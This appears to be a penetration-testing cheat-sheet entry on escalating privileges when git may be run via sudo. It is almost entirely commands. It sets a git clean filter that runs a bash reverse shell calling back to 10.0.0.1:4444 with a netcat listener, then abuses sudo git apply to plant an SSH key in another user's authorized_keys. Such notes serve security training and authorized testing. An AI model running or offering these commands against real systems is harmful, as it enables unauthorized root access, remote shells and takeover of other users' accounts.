Sudo Git Privilege Escalation
Sudo git is vulnerable to privilege escalation.
sudo /usr/bin/git --git-dir=/opt/example/.git --work-tree=/opt/example add -A
sudo /usr/bin/git --git-dir=/opt/example/.git --work-tree=/opt/example commit -m "commit"
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If we can commit the git repository as root, we may be able to escalate privileges.
echo 'bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"' > /tmp/revshell
chmod +x /tmp/revshell
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# Go to the git repository
cd /opt/example
git init
echo '*.php filter=indent' > .git/info/attributes
git config filter.indent.clean /tmp/revshell
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Before committing, we need to start a listener in local machine.
nc -lvnp 4444
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Then commit with sudo.
sudo /usr/bin/git --git-dir=/opt/example/.git --work-tree=/opt/example add -A
sudo /usr/bin/git --git-dir=/opt/example/.git --work-tree=/opt/example commit -m "commit"
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Now we should get a shell in local terminal.
sudo /usr/bin/git apply *
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If we can apply the patch for the git repository, we can update the content of arbitrary file.
Assume we are currently "user1" user then we want to escalate to be "user2".
First we create a new SSH key.
cd /home/user1
ssh-keygen -t rsa
Enter file in which to save the key (/home/user1/.ssh/id_rsa): id_rsa
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New SSH keys (private/public) are generated under /home/user1
.
Next, add the content of id_rsa.pub
into authorized_keys.
.
cat /home/user1/id_rsa.pub > /home/user1/.ssh/authorized_keys
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Then create a patch.
cd /home
git diff user1/.bash_history user1/.ssh/authorized_keys > /tmp/patch
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After that, replace the name “user1” with “user2” in the patch file.
sed -i 's/user1/user2/g' /tmp/patch
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Now we can apply the patch as root. This command update the target user’s ("user2") authorization_keys
to allow us to login with SSH key as "user2".
sudo /usr/bin/git apply /tmp/patch
ssh -i /home/user1/.ssh/id_rsa user2@example.com